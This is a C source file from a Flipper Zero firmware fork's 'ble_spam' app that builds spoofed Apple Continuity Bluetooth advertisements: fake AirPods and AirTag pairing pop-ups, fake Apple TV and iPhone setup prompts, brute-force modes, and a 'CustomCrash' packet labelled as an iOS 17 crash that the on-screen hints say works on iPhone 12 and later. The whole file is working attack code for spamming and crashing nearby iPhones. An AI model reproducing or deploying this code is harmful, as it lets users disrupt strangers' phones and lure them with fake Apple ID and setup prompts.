Files
Momentum-Firmware/applications/external/ble_spam/protocols/continuity.c
2023-10-25 21:43:26 +01:00

886 lines
30 KiB
C

#include "continuity.h"
#include "_protocols.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
const struct {
uint16_t value;
const char* name;
} pp_models[] = {
{0x0E20, "AirPods Pro"},
{0x0620, "Beats Solo 3"},
{0x0A20, "AirPods Max"},
{0x1020, "Beats Flex"},
{0x0055, "Airtag"},
{0x0030, "Hermes Airtag"},
{0x0220, "AirPods"},
{0x0F20, "AirPods 2nd Gen"},
{0x1320, "AirPods 3rd Gen"},
{0x1420, "AirPods Pro 2nd Gen"},
{0x0320, "Powerbeats 3"},
{0x0B20, "Powerbeats Pro"},
{0x0C20, "Beats Solo Pro"},
{0x1120, "Beats Studio Buds"},
{0x0520, "Beats X"},
{0x0920, "Beats Studio 3"},
{0x1720, "Beats Studio Pro"},
{0x1220, "Beats Fit Pro"},
{0x1620, "Beats Studio Buds+"},
};
const uint8_t pp_models_count = COUNT_OF(pp_models);
const struct {
uint8_t value;
const char* name;
} pp_prefixes[] = {
{0x01, "New Device"},
{0x07, "Not Your Device"},
{0x05, "New Airtag"},
};
const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
const struct {
uint8_t value;
const char* name;
} na_actions[] = {
{0x13, "AppleTV AutoFill"},
{0x27, "AppleTV Connecting..."},
{0x20, "Join This AppleTV?"},
{0x19, "AppleTV Audio Sync"},
{0x1E, "AppleTV Color Balance"},
{0x09, "Setup New iPhone"},
{0x02, "Transfer Phone Number"},
{0x0B, "HomePod Setup"},
{0x01, "Setup New AppleTV"},
{0x06, "Pair AppleTV"},
{0x0D, "HomeKit AppleTV Setup"},
{0x2B, "AppleID for AppleTV?"},
};
const uint8_t na_actions_count = COUNT_OF(na_actions);
static const char* type_names[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Continuity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Continuity Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Continuity Custom",
};
static const char* get_name(const Payload* payload) {
const ContinuityCfg* cfg = &payload->cfg.continuity;
return type_names[cfg->type];
}
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
[ContinuityTypeHandoff] = HEADER_LEN + 14,
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
ContinuityType type;
if(cfg && cfg->type != 0x00) {
type = cfg->type;
} else {
const ContinuityType types[] = {
ContinuityTypeProximityPair,
ContinuityTypeNearbyAction,
ContinuityTypeCustomCrash,
};
type = types[rand() % COUNT_OF(types)];
}
uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = type; // Continuity Type
packet[i] = size - i - 1; // Continuity Size
i++;
switch(type) {
case ContinuityTypeAirDrop: {
packet[i++] = 0x00; // Zeros
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // AppleID
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Phone Number
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email2
packet[i++] = (rand() % 256); // ...
packet[i++] = 0x00; // Zero
break;
}
case ContinuityTypeProximityPair: {
uint16_t model;
switch(payload ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = pp_models[rand() % pp_models_count].value;
break;
case PayloadModeValue:
model = cfg->data.proximity_pair.model;
break;
case PayloadModeBruteforce:
model = cfg->data.proximity_pair.model = payload->bruteforce.value;
break;
}
uint8_t prefix;
if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
prefix = cfg->data.proximity_pair.prefix;
} else {
if(model == 0x0055 || model == 0x0030)
prefix = 0x05;
else
prefix = 0x01;
}
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x55; // Status
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
packet[i++] = (rand() % 256); // Lid Open Counter
packet[i++] = 0x00; // Device Color
packet[i++] = 0x00;
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
i += 16;
break;
}
case ContinuityTypeAirplayTarget: {
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 256); // Configuration Seed
packet[i++] = (rand() % 256); // IPv4 Address
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeHandoff: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Initialization Vector
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
packet[i++] = (rand() % 256); // Encrypted Payload
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeTetheringSource: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 101); // Battery Life
packet[i++] = 0x00; // Cell Service Type
packet[i++] = (rand() % 8); // ...
packet[i++] = (rand() % 5); // Cell Service Strength
break;
}
case ContinuityTypeNearbyAction: {
uint8_t action;
switch(payload ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
action = na_actions[rand() % na_actions_count].value;
break;
case PayloadModeValue:
action = cfg->data.nearby_action.action;
break;
case PayloadModeBruteforce:
action = cfg->data.nearby_action.action = payload->bruteforce.value;
break;
}
uint8_t flags;
if(cfg && cfg->data.nearby_action.flags != 0x00) {
flags = cfg->data.nearby_action.flags;
} else {
flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
}
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
}
case ContinuityTypeNearbyInfo: {
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
packet[i++] = (rand() % 256); // Status Flags
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeCustomCrash: {
// Found by @ECTO-1A
uint8_t action = na_actions[rand() % na_actions_count].value;
uint8_t flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
packet[i++] = 0x05; // Continuity Size
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // Terminator (?)
packet[i++] = 0x00; // ...
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
i += 3;
break;
}
default:
break;
}
*_size = size;
*_packet = packet;
}
enum {
_ConfigPpExtraStart = ConfigExtraStart,
ConfigPpModel,
ConfigPpPrefix,
ConfigPpCOUNT,
};
enum {
_ConfigNaExtraStart = ConfigExtraStart,
ConfigNaAction,
ConfigNaFlags,
ConfigNaCOUNT,
};
enum {
_ConfigCcExtraStart = ConfigExtraStart,
ConfigCcInfoLock,
ConfigCcInfoDevice,
ConfigCcCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(cfg->type) {
case ContinuityTypeProximityPair: {
switch(index) {
case ConfigPpModel:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
break;
case ConfigPpPrefix:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeNearbyAction: {
switch(index) {
case ConfigNaAction:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
break;
case ConfigNaFlags:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeCustomCrash: {
switch(index) {
case ConfigCcInfoLock:
case ConfigCcInfoDevice:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void pp_model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = pp_models[index].value;
variable_item_set_current_value_text(item, pp_models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void pp_prefix_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
variable_item_set_current_value_text(item, pp_prefixes[index].name);
} else {
cfg->data.proximity_pair.prefix = 0x00;
variable_item_set_current_value_text(item, "Auto");
}
}
static void na_action_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = na_actions[index].value;
variable_item_set_current_value_text(item, na_actions[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
switch(cfg->type) {
case ContinuityTypeProximityPair: {
item = variable_item_list_add(
list, "Model Code", pp_models_count + 1, pp_model_changed, payload);
const char* model_name = NULL;
char model_name_buf[5];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < pp_models_count; i++) {
if(cfg->data.proximity_pair.model == pp_models[i].value) {
model_name = pp_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(
model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
model_name = model_name_buf;
value_index = pp_models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = pp_models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
item = variable_item_list_add(
list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
const char* prefix_name = NULL;
char prefix_name_buf[3];
if(cfg->data.proximity_pair.prefix == 0x00) {
prefix_name = "Auto";
value_index = 0;
} else {
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
prefix_name = pp_prefixes[i].name;
value_index = i + 1;
break;
}
}
if(!prefix_name) {
snprintf(
prefix_name_buf,
sizeof(prefix_name_buf),
"%02X",
cfg->data.proximity_pair.prefix);
prefix_name = prefix_name_buf;
value_index = pp_prefixes_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, prefix_name);
break;
}
case ContinuityTypeNearbyAction: {
item = variable_item_list_add(
list, "Action Type", na_actions_count + 1, na_action_changed, payload);
const char* action_name = NULL;
char action_name_buf[3];
switch(payload->mode) {
case PayloadModeRandom:
default:
action_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < na_actions_count; i++) {
if(cfg->data.nearby_action.action == na_actions[i].value) {
action_name = na_actions[i].name;
value_index = i + 1;
break;
}
}
if(!action_name) {
snprintf(
action_name_buf,
sizeof(action_name_buf),
"%02X",
cfg->data.nearby_action.action);
action_name = action_name_buf;
value_index = na_actions_count + 1;
}
break;
case PayloadModeBruteforce:
action_name = "Bruteforce";
value_index = na_actions_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, action_name);
item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
const char* flags_name = NULL;
char flags_name_buf[3];
if(cfg->data.nearby_action.flags == 0x00) {
flags_name = "Auto";
} else {
snprintf(
flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
flags_name = flags_name_buf;
}
variable_item_set_current_value_text(item, flags_name);
break;
}
case ContinuityTypeCustomCrash: {
variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
break;
}
default:
break;
}
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_counts[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = 0,
[ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
[ContinuityTypeAirplayTarget] = 0,
[ContinuityTypeHandoff] = 0,
[ContinuityTypeTetheringSource] = 0,
[ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
[ContinuityTypeNearbyInfo] = 0,
[ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
};
static uint8_t config_count(const Payload* payload) {
const ContinuityCfg* cfg = &payload->cfg.continuity;
return config_counts[cfg->type];
}
const Protocol protocol_continuity = {
.icon = &I_apple,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void pp_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
break;
case pp_models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.proximity_pair.model;
payload->bruteforce.size = 2;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = pp_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < pp_models_count; i++) {
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.proximity_pair.model == pp_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = pp_models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = pp_models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_prefix_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
cfg->data.proximity_pair.prefix = 0x00;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_prefixes_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
break;
default:
cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_prefix_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
if(cfg->data.proximity_pair.prefix == 0x00) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
if(!found) {
selected = pp_prefixes_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_prefix_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Prefix");
ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_action_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case na_actions_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
break;
case na_actions_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.nearby_action.action;
payload->bruteforce.size = 1;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = na_actions[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_na_action_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < na_actions_count; i++) {
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.nearby_action.action == na_actions[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = na_actions_count + 1;
}
submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = na_actions_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_action_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Action Type");
ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_flags_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_flags_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Press back for automatic");
ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
Ctx* ctx = _ctx;
if(event.type == SceneManagerEventTypeBack) {
ctx->byte_store[0] = 0x00;
}
return false;
}
void scene_continuity_na_flags_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
}